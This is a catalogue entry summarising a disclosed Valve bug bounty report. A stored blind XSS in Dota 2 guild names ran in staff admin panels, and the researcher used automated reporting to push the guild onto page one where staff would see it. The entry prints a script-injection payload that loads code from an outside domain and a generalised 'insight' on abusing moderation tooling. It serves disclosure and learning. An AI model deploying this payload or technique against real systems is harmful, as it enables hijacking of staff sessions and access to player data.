# Got Access To Dota 2 Admin Panel By Exploiting In-game Feature

Stored blind XSS in Dota 2 guild name executed in Valve's admin panel; attacker sorted guild to page one via automated reports to trigger it.

- Payout: $900
- Severity: medium
- Program: Valve
- Credited: Abdillah Muhamad
- Disclosed: 2022-03-31
- Write-up quality: 6/10
- Original: https://abdilahrf.github.io/bugbounty/got-access-to-dota-2-admin-panel-by-exploiting-in-game-feature
- Library page: https://bugbountylibrary.com/r/blog%3Aabdilahrf-github-io-bugbounty-got-access-to-dota-2-admin-panel-by-exploiting-in-game-feature
- Tags: domain:web impact:internal-access kind:bounty platform:blog sev:medium tech:rest technique:blind technique:recon vuln:xss

**Target:** Dota 2 guild creation feature and admin panel datatable
**Root cause:** Guild name was stored unsanitized and rendered into the admin panel's guild datatable HTML without encoding, allowing script injection.
**Steps:**
1. Create a guild named `"><script src=//domain></script>`
2. Submit guild reports (name/logo/tag) repeatedly to inflate total_reports
3. Automate in-game login and reporting until the guild ranks on page 1 of the admin datatable (50 rows/page)
4. Admin opens the panel; payload fires `alert(1)`
**How found:** Researcher, an active Dota 2 player, noticed the new guild feature and hypothesized that a guild name containing a blind XSS payload might be rendered somewhere in Valve's systems; it executed in the admin panel.
**Exploitation:** Attacker inflated total_reports via automated in-game reports so the malicious guild name appeared on the first page of the admin datatable, causing stored XSS execution in a Valve staff session with access to room IPs, player bans, and pro player data.
**Escalation:** Could have used JS execution to pivot within the admin panel (ban players, read room IPs) but researcher reported immediately instead.
**Insight:** When a new user-controlled feature ships, name your entity with a blind XSS payload and check whether internal moderation/admin tooling renders it; if a datatable sorts by an attacker-influenceable metric (like report count), inflate that metric to force your row onto page one where staff will see it.